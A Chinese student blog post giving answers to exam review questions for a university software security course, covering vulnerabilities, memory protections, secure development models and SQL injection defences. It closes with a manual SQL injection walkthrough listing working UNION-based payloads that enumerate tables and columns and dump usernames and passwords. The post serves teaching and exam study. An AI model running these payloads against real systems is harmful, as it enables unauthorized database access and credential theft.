太原理工大学——软件安全技术(陈波)考试复习例题答案

上一篇博客没有给答案,大家都私信要,我就总结一下吧。
文章是23年考试前写的,但是考完之后吧,有个感受就是题出的很活,很宽泛,不像信息安全那门课一样,
下面这些题涉及到的不算太多,但是名词解释或者简答题肯定有,包括选择题也会有涉及,对于大家理解学习也很有帮助。

再提醒大家一点,四个实验一定要理解掌握了(都很重要)。漏洞分析实验、SQL注入、界面需求分析、编写正则表达式
1.什么是零日漏洞?什么是零日攻击?
零日漏洞是指未被公开披露的软件漏洞,还没给软件的作者或厂商以时间去为漏洞打补丁或给出解决方案建议,因此,攻击者可以利用这种漏洞破环计算机程序、数据、设备。
零日攻击是指利用零日漏洞开发的攻击工具进行的攻击。零日攻击所针对的漏洞由于还没有被软件的厂商发现或是给出相应的补丁,所以零日攻击的成功率高,造成的破环大。
2.软件面临的安全威胁
软件漏洞、恶意代码、软件侵权
3.软件漏洞
软件漏洞通常被认为是软件生命周期中与安全相关的设计错误、代码缺陷及运行故障等。
4.恶意代码
恶意代码是指在未授权的情况下,以破环软硬件设备、窃取用户信息、干扰用户正常使用、扰乱用户心理为目的的软件或代码片段。实现方法:二进制执行文件、脚本语言代码、宏代码或寄生在其他代码或启动扇区的一段指令。
5.软件安全
软件工程与软件保障的一个方面,提供了一种系统的方法分析、研究和追踪对危害及具有危害性功能的软件缓解措施与控制。
6.信息安全的三大基本属性CIA
保密性是指确保信息资源仅被合法的实体访问,使信息不泄露给未授权的用户。
完整性是指信息资源只能被授权者或以授权的方式修改,在存储和传输信息的过程中,不能被未授权、未预期或无意篡改、销毁,或在篡改后能够被迅速发现。
可用性是指信息资源可以被合法的实体访问,并按用户要求的特性使用。
可认证性:数字签名、哈希函数、身份认证
授权:主客体
可审计性:实体
抗抵赖性:不可否认
可控性:风险
可存活性:系统容侵、灾备与恢复等。
7.实现保密性、完整性的方法
实现保密性的一般方法是对信息进行加密,或者对信息划分不同密级并且分配访问者访问权限,系统根据用户身份权限控制对不同密级信息的访问。
实现完整性的一般方法是预防和检测两种机制。预防通过阻止任何未授权的用户修改数据的企图,以实现对数据的完整性保护。检测并不试图阻止数据完整性的破坏,而是分析系统和用户的行为,或是数据本身来发现数据的完整性是否遭到破环。
8.软件可靠性
规定的条件下,在一定时间内软件不引起系统失效的概率。该概率是系统输入和系统使用的函数,也是软件缺陷中存在的函数。
在规定的时间周期内,所述条件下程序执行所要求的功能的特性。
9.软件的“可信”
软件的“可信”是指软件系统的动态行为及其结果总是符合人们的预期,在受到干扰时仍能提供连续的服务。这里的的“干扰”可以是操作错误、环境影响和外部攻击。
10.软件定义安全SDS
SDS的基本原理是将物理及虚拟的网络安全设备预期接入模式、部署方式、安全功能进行解耦,底层抽象为安全资源池里的资源,顶层统一使用软件编程语言进行智能化、专业化的业务编排和管理,以完成相应的安全功能,从而实现一种灵活的安全防护。
软件定义资源、软件定义流量、软件定义威胁模型
11.PDRR
保护、检测、响应、恢复
信息保障:通过确保信息和信息系统的可用性、完整性、保密性、可认证性和不可否认性等特性来保护信息系统的信息作战行动,包括综合利用保护、检测和响应能力以恢复系统的功能。
12.纵深防护战略
保护网络和基础设施;保护计算环境;保护边界;支撑基础设施
13.软件安全防护方法
采用多种检测、分析及挖掘技术对安全错误和安全漏洞进行发现、分析和评价,然后采用安全控制措施进行错误修复和风险控制。
分析软件安全错误产生的原因,并将安全错误的修正嵌入到软件开发生命周期的整个阶段。
14.软件安全防护技术
软件安全属性认知、信息系统安全工程、软件安全开发
课后题:3.系统存在由于软件厂商还没有发现或是还未提供相应的补丁。
15.漏洞生命周期时间轴
在这里插入图片描述
漏洞产生、漏洞发现、漏洞公布、补丁发布、漏洞较低、漏洞消亡
16.漏洞的特性
持久性与时效性:随着时间的推移,旧的漏洞会不断消失,新的漏洞会不断产生;超过一定的时间限制,漏洞的威胁就会逐渐减少并逐渐消失。
广泛性与具体性:会影响到很大范围的软硬件设备;总是存在于具体的环境或条件中。
可利用性与隐蔽性:一旦被攻击者利用就会给信息系统带来威胁和损失;往往需要通过特殊的漏洞分析手段才能发现。
17.漏洞产生原因
计算机系统结构决定了漏洞的必然性;软件趋向大型化,第三方扩展增多;新技术、新应用产生之初即缺乏安全性的考虑;软件的使用场景更具威胁性;对软件安全开发重视不够,软件开发人员缺乏安全知识。
18.软件漏洞的分类
基于漏洞成因的分类:内存破坏类、逻辑错误类、输入验证类、设计错误类、配置错误类;
基于漏洞利用位置分类:本地漏洞、远程漏洞
基于威胁类型分类:获取控制、获取信息、拒绝服务
19.软件漏洞的分级
按照漏洞严重等级进行分级:微软:严重、重要、中等、低;CNNVD访问路径、利用复杂度、影响程度(超危、高危、中危、低危)
按照漏洞评分系统(CVSS):基本度量、时间度量、环境度量
20.软件漏洞管理标准(国内、国际)
国际:通用漏洞和披露(CVE),通用缺陷枚举/评分系统(CWE/CWSS),通用平台枚举(CPE)、开放漏洞评估语言(OVAL)
21.CWETop25和OWASPTop10对漏洞的划分有什么区别
目标对象不同:CWETop25主要面向所有的软件和网络系统的漏洞,而OWASPTop10侧重于Web应用程序中常见的漏洞;
列举方式不同:CWETop25对漏洞按照其严重性和常见性进行分类,并以清单的方式进行展开,OWASPTop10对漏洞类型进行划分,其中每一种类型都详细列举了该类型的具体漏洞;
描述方式不同:CWETop25详细描述了每一种漏洞类型,涵盖了各种不同的攻击方式,OWASPTop10也对漏洞类型进行了描述,但侧重点在漏洞类型的影响和如何防范上,并列举了相关示例。
22.程序运行时的内存布局
代码区:用于存放程序汇编后的机器代码和只读数据,这个段在内存中一般被标记为只读,任何企图修改这个段中的数据都会得到引发一个错误,当计算机运行程序时,会到当前区域读取指令并执行;
数据区:存放全局变量和静态变量
堆区:该区域内存由进程利用相关函数和运算符动态申请,用完后释放归还给堆区;
栈区:该区域内存由系统自动分配,用来存放动态函数之间的调用关系。
23.什么是缓冲区溢出漏洞
缓冲区溢出漏洞是指在向缓冲区写入数据时,由于没有做边界检查,导致写入缓冲区的数据超过了预先分配的边界,使溢出的数据覆盖原有数据从而导致系统异常的一种现象。
栈帧存放的内容:前栈帧EBP、函数的局部变量、函数调用的参数、函数返回地址RET
函数调用的步骤:函数参数入栈、函数返回地址RET入栈、代码区跳转、将当前栈帧调整为被调用函数的栈帧。
栈溢出修改相邻变量、栈溢出修改返回地址
24.栈溢出漏洞基本原理
在函数的栈帧中,局部变量是顺序排列的,局部变量下面紧跟的是前栈帧EBP及函数返回地址RET,如果局部变量是数组元素,由于存在越界的漏洞,越界的数组元素将会覆盖相邻的局部变量,甚至覆盖前栈帧EBP及函数的返回地址RET,从而造成程序的异常。
25.栈溢出攻击
栈溢出攻击是一种利用栈溢出漏洞所进行的攻击行动,目的在于扰乱具有某些特权运行的程序的功能,使得攻击者取得程序的控制权,如果程序具有足够的权限,那么整个主机就被控制了。
26.堆管理系统的的3类操作
堆块分配、堆块释放、堆块合并
27.格式化串漏洞
格式化串漏洞源于数据输出函数对输出格式解析的缺陷,其根本原因也是C语言中不对数组边界检查的缓冲区错误。
28.简述Windows安全漏洞保护的基本技术及其存在的问题
栈溢出检测选项G\S;
数据执行保护DEP:可执行内存不可写、可写内存不可执行
地址空间布局随机化ASLR:通过对堆、栈、共享数据库映射等线性区域布局的随机化,增加了攻击者寻找目的地址的难度,防止攻击者直接定位到攻击代码的位置,有效的阻止了利用漏洞的目的。
安全结构化异常处理SafeSEH:将所有合法的异常处理函数的地址解析出来制成一张安全SEH表,并存放在image的数据块里面。当程序调用异常处理函数时会将函数的返回地址取出来与SEH表中的地址进行匹配,检查调用的异常处理函数是否位于该表中,如果image不支持SafeSEH机制,则表中的数据为0。
29.Web应用安全漏洞
Web应用安全漏洞是指在Web应用程序的需求、设计、实施、维护和利用过程中,有意无意产生的缺陷,该缺陷一旦被攻击者所利用,就会对用户和网站造成损害,从而影响构建Web应用程序之上的正常服务的运行,危机用户和网站的安全属性。
30.2013发布的Web安全十大威胁
失效的身份认证与会话管理、SQL注入、跨站脚本、不安全的直接对象引用、错误的安全配置、敏感数据泄露、缺乏功能级访问控制、跨站请求伪造、使用有漏洞的组件、未验证的重定向与转发。
31.什么是SOL注入漏洞、主要危害
SQL注入漏洞是指攻击者能够利用现有Web应用程序,将恶意数据插入到SQL查询中,并提交到后台数据库引擎执行非授权操作。
危害:恶意查询、删除、修改数据资源;执行非系统命令、承载主机操作系统或网络的访问权限
32.为什么SOL注入漏洞多年来一直名列Web安全漏洞榜首
SQL注入攻击具有广泛性:SQL注入攻击利用的是SQL语法,这使得所有基于SQL查询的标准数据库软件以及与之连接的网络应用程序都面临该攻击;
SQL注入攻击的原理相对简单,介绍注入漏洞或利用漏洞的方法等资源非常多;
相较于其他漏洞,SQL注入漏洞的防范要困难。
33.当输入“1’”进行注入尝试时,系统返回数据库报错信息,是否可以肯定这里一定存在数字型注入漏洞
不能肯定。当输入“1’”进行注入尝试时,只能保证存在SQL注入漏洞,而不能确定是哪种类型,具体类型可以根据返回的错误信息和其他输入值对应的显示情况来判断。要想确定存在数字型注入还需在id后面分别输入“1 and 1 = 2” 和“1 and 1 = 1”,看是否与直接输入1返回的页面相同。
34.防范SQL注入漏洞的基本方法有哪些?重点谈谈在代码开发层面的安全措施
代码层防护。
采用强类型语言。采用C++、Java等强类型语言几乎可以完全忽略SQL的数字型注入;
尽量避免使用拼接的动态SQL语句,所有的查询语句都使用数据库提供的参数化查询接口,参数化语句使用参数而不是将用户的输入变量直接嵌入到SQL查询中;
在服务器端验证用户输入的类型和值是否符合程序的预期要求;
在服务器端对用户输入进行过滤;
避免网站显示SQL的错误信息,如类型错误、字段不匹配,防止攻击者利用这些错误信息进行判断;
加固应用程序服务器和数据库,采用最低用户权限连接数据库。
35.什么是软件生命周期
正如其他生命事物一样,软件也有其孕育、诞生、成长、成熟和衰亡的生存过程。一般来说被称为软件生命周期。
软件生命周期由定义、开发和维护三个时期组成,每个时期都可以划分为若干个阶段。
36.软件过程
软件过程是指为获得高质量软件产品所需要完成的一系列任务的框架,它规定了各项具体任务工作步骤。
37.软件开发模型
软件开发模型是跨越软件生命周期的系统运行、开发和维护所需实施的所有工作和任务的结构框架,给出了软件开发活动各阶段之间的关系。
微软的软件安全开发生命周期模型SDL:相关文档丰富、
McGraw的软件内建安全开发模型、
NIST的软件安全开发生命周期模型、
综合的轻量级应用安全过程CLASP:CLASP强调安全开发过程中的角色和职责,其安全活动基于角色安排.
软件保证成熟度模型SAMM:SAMM的目标在于制定简单、有良好定义,且可测量的软件安全开发模型,其对安全知识的要求更低,更适于非安全专家使用。
38.SDL模型(与瀑布模型的关系),SDL模型7个阶段的安全活动
SDL模型由软件工程的瀑布模型发展而来,是在瀑布模型的各个阶段增加了安全活动和业务活动目标。
安全培训、安全需求分析、安全设计、安全实施、安全验证、安全发布、安全响应
39.SDL模型实施的基本原则
安全设计:软件在开发和设计过程当中应该考虑如何保护其自身抵御外部攻击;
安全配置:软件在缺省配置运行环境中,应该考虑如何降低风险,其中一个重要的假设是软件自身代码总存在安全漏洞。
安全部署:软件应当提供相应的文档和工具,确保最终用户和管理员安全的使用。此外,更新应该易于部署;
沟通:软件开发人员应当为产品漏洞的发现准备响应方案,并与系统应用的各类人员进行沟通,以帮助他们采取保护措施。
40.敏捷SDL ? 敏捷SDL与典型SDL的区别
敏捷SDL是一种迭代式的软件开发生命周期,以研究敏捷软件为目的软件开发模式,强调开发者和客户的沟通和连结,采用快速反馈的方式不断优化产品,以每次迭代的成果作为快速验证原型获取客户的反馈,从而不断优化和产品进度。
区别:
敏捷SDL并不使用传统的瀑布模型,而是采用无阶段的迭代开发生命周期模型,以快速实现软件版本的更新和发布。如果在开发过程中使用瀑布模型,那么比较适合采用典型SDL,而不适合采用敏捷SDL。
在敏捷SDL中,并不是每个发布版本都需要达到所有的要求,这是敏捷SDL与传统SDL的最大差别。
41.BSI模型的三根支柱
风险管理:风险管理是一种战略性方法,即将减轻风险作为贯穿整个软件生命周期的指导方针;
软件安全接触点:BSI模型并不强调开发流程,而是在软件开发的每个阶段通过安全接触点来保证软件的安全性,既在软件生命周期保证了软件的安全性,又超脱于具体的开发模型。
安全知识:安全知识强调对安全经验和专业技术的收集与汇总,并对软件开发人员进行安全培训,通过安全接触点将项目运用到工程当中。
模型核心思想:对软件全生命周期各个阶段产品(工件)的安全性进行评估、测试、验证以及操作控制,实现面向过程的全生命周期安全质量控制方法。
综合的轻量级应用安全过程CLASP
42.SAMM的目标,SAMM核心业务与安全实践之间的关系
目标:
评估一个组织中与软件安全相关的实践;建立一个迭代的、平衡的软件安全保证计划;验证安全保证计划带来的实质性改善; 定义并衡量一个组织中与安全相关的措施。
治理:策略与指标、政策与遵从、培训与指导
构造:威胁评估、安全需求、安全架构
验证:设计审查、代码审核、安全测试
部署:漏洞管理、环境加固、操作启用
43.软件安全需求分析的目的和作用
软件安全需求分析的目的是描述为了实现信息安全目标,软件系统应该做什么,才能获取高质量的软件产品,减少进而削减软件安全漏洞。
一个没有进行安全需求分析的软件开发项目,将会影响信息的保密性、完整性、可用性及其他一些重要的安全属性。系统被攻击者攻破只是一个时间早晚的问题,而不是条件问题,取决于攻击者对系统价值的判断。
44.软件安全需求的主要工作
在软件开发生命周期的需求分析阶段,首先要确定系统的业务运行环境、规则环境及技术环节,然后在了解各个阶段需求内容的基础上,通过软件的需求分析获取过程,对软件一定包含的安全需求进行分析。
45.软件安全需求分析与软件需求分析的区别与联系
区别:
软件安全需求分析的客观性。安全需求并不是从使用者的兴趣和要求出发,而是由系统的客观属性来决定的;
软件安全需求分析的系统性。安全需求并不只是从软件本身出发,而是必须从系统的角度来分析。
软件安全需求分析的经济性和适用性。安全需求的内容非常丰富,并不是所有的应用软件安全控制措施都要采纳和实施,而是应当根据具体业务的重要性,对安全措施进行成本控制。
联系:
软件安全需求是软件需求的必要组成部分,软件安全需求应当与业务功能需求具有相同的需求水平,并且对业务功能需求具有约束力。
46.软件安全需求的来源分类
外部安全需求:一般是法律、法规及遵从性需求,包括相应国家和地区有关安全技术与管理的标准、法规、指南和实践模式。
内部安全需求:一是组织内部的需要遵守的标准、政策及要求;二是与业务功能相关的安全需求。
47.为什么说软件安全需求更多的来源于遵从性需求
在软件安全需求分析过程当中,软件用户由于缺乏专业知识,很难从专业的角度提出软件的安全需求,因此软件的安全需求更多的来自于对组织内部和外部的安全标准及政策的遵从。
48.我国为什么要实行网络等级保护制度?网络安全保护能力划分为哪些等级?具体每个等级有什么要求?
对信息安全分等级保护客观需求,等级化保护是发展规律;等级保护是国家法律和政策要求
5个等级。
49.等级保护工作流程
定级、备案、等级测评、安全建设与整改、监督检查
内容:
对网络(含信息系统、数据,下同)实施分等级保护、分级监管。
对网络中使用的网络安全产品实行按等级管理。
对网络中发生的安全事件分等级响应、处置。
50.网络等级保护与信息安全管理体系的联系与区别
信息安全管理体系从管理的角度对信息进行管理,等级化保护是信息安全管理体系的一部分,是基础性的工作,两者在管理目标上具有一致性,而且还具有相辅相成的作用。
区别:工作重点不同、依据的标准不同、实施对象不同
51.软件安全需求的获取方法
头脑风暴、使用问卷和调查、策略分解、数据分类、主客体关系矩阵、使用用例和滥用案例建模、软件安全需求跟踪矩阵
52.数据分类
数据分类是指根据数据生命周期的分阶段划分来决定相应的安全需求,或者根据数据重要性对保护等级的划分来决定相应的安全需求。
53.软件安全设计阶段的主要工作
软件架构安全性设计:软件架构安全性设计首先要进行系统描述,包括系统功能、安全需求、系统部署和技术要求,确定软件系统的安全等级。接着,设计数据库和网络系统应该具备的安全功能。
软件架构安全性分析:基本过程是首先进行架构建模,然后根据软件安全需求的描述或相关标准,对架构模型是否满足要求进行检查,如不满足则需要修改设计架构,如此反复,直至满足所有的安全需求和相关标准。
软件安全功能设计:考虑如何将安全需求设计到架构中并成为架构的有机组成部分,并将他们转化为可实现的功能组件。
54.软件架构安全性分析的重要性
在软件架构设计和软件安全架构的设计过程中,尤其是对于大而复杂的系统,一次性将所有安全属性设计到软件架构中,这是一件非常复杂挑战性的工作。因此,在软件安全架构设计完成后,在退出设计阶段进入开发阶段之前,首先要对设计方案和软件架构进行检查,确定是否满足设计的需求。
55.软件架构安全性分析的两类分析方法
形式化分析方法:形式化描述软件架构和安全需求,使分析的结果精确、可量化,自动化程度较高,但实用性较低。
工程化分析方法:从攻击者的角度描述系统面临的风险,实用性较强,但自动化程度较低。
56.安全设计原则
减少软件的受攻击面原则、最小权限原则、权限分离原则、纵深防御原则、完全控制原则、默认安全配置原则、开放设计、保护最弱一环原则、最少共用机制原则、安全机制的经济性原则、安全机制的心理可接受原则、平衡安全设计原则。
57.软件受攻击面是指什么?采取哪些策略
软件受攻击面是指用户和其他程序以及潜在的攻击者都能够访问到的所有功能和代码的总和,它是一个混合体,不仅包括代码、接口和服务,而且包括对用户提供服务的协议,尤其是那些未经验证的远程用户都能够访问到的协议。
策略:
重要性低的功能可取消,重要性中的功能可设置非默认开启,只有在用户配置后才能予以开启;重要性高的功能关闭或者增加一些安全措施进行控制,重用那些经过测试已证明安全的现有库和通用组件,而不是用户自己开发的共享库。
58.什么是最小授权原则,哪些措施采用了最小授权原则
最小授权原则是指系统仅授予实体完成规定功能的最小权限,且该权限的持续时间也尽可能短。
将超级用户的权限划分为一组细粒度的权限,并分配给不同的系统操作员和管理员,对管理员用户分配的安全资源权限设置受限访问而不是超级用户权限。
采用高内聚、低耦合的模块化编程方法,模块之间采用的连接方式是弱链接,每个模块只完成一个独立的功能。
59.什么是安全模式?为什么说能够利用安全模式来快速、准确的进行软件安全设计?
安全模式就是在给定的场景下,为控制、阻止或削减一组特定的威胁而采取的通用解决方案。该解决方案需要应对一系列的问题,并可以通过UML类图、时序图、活动图、状态图等进行表述。
安全模式封装了反复出现的系统问题的解决方案,精确的表述了系统要求和解决方案,采用模式的系统架构描述也比较容易让人理解,为设计和实现提供了指南,实现了比架构更安全的方法。另外,安全模式可以为没有专业知识的应用开发人员也能进行安全措施,通过分析系统是否包含特定的模式,进一步分析系统的安全性。此外,在改造旧有系统时,还可以为系统添加缺乏的安全特性。
60.给出一种利用安全模式进行软件安全设计的方法
风险确定阶段:该阶段主要有两个工作,风险识别和风险评估。该阶段通过对业务需求、用户需求和安全需求等的分析,利用历史威胁记录与经验,识别并评估系统面临的风险。
系统安全架构阶段:该阶段对风险进行消解,并对解决方案进行评估,在此基础上构建系统高层架构。主要工作有:浏览模式库、选择安全模式、评估安全模式、建立系统高层架构。
系统设计细化阶段:该阶段的主要工作有:构建业务类图、实例化安全模式、选择一个合适的系统并重构。
61.什么是威胁建模?简述威胁建模的过程
软件威胁建模是指通过抽象的概念模型对影响软件系统的威胁进行系统的识别和评价。
确定安全目标、创建应用程序概况图、分解应用程序、确定威胁、威胁评估、确定威胁缓解计划与策略、验证威胁、威胁建档。
62.安全编码的含义
63.CERT安全编码建议
64.C语言安全编程注意事项
65.C语言中针对缓冲区溢出的主要措施
66.在Java语言安全编码中,语言层安全、字节码层安全、应用层安全
67.安全编码实践
68.软件安全测试的目标、内容、原则、方法
69.模糊测试的核心思想
70.模糊测试的方法、过程

总结:
1.SQL手工注入分析
(1)判断是否存在注入,注入是数字型还是字符型
输入:1、1’=‘1’ and ‘2、1’=‘1’ or ‘1
(2)猜解SQL查询语句中的字段数
1’or 1 = 1 order by 1 # 1’or 1 = 1 order by 2 # 1’or 1 = 1 order by 3 #
(3)获取当前数据库名
’union select user(),database() #
(4)获取数据库表名
’union select 1 , group_concat(table_name) from information_schema.tables where table_schema=database() #
(5)获取表中的字段名
’union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘user’ #
(6)获取user及password
’union select user ,password from users #
(7)尝试破解口令

  • 31
    点赞
  • 81
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值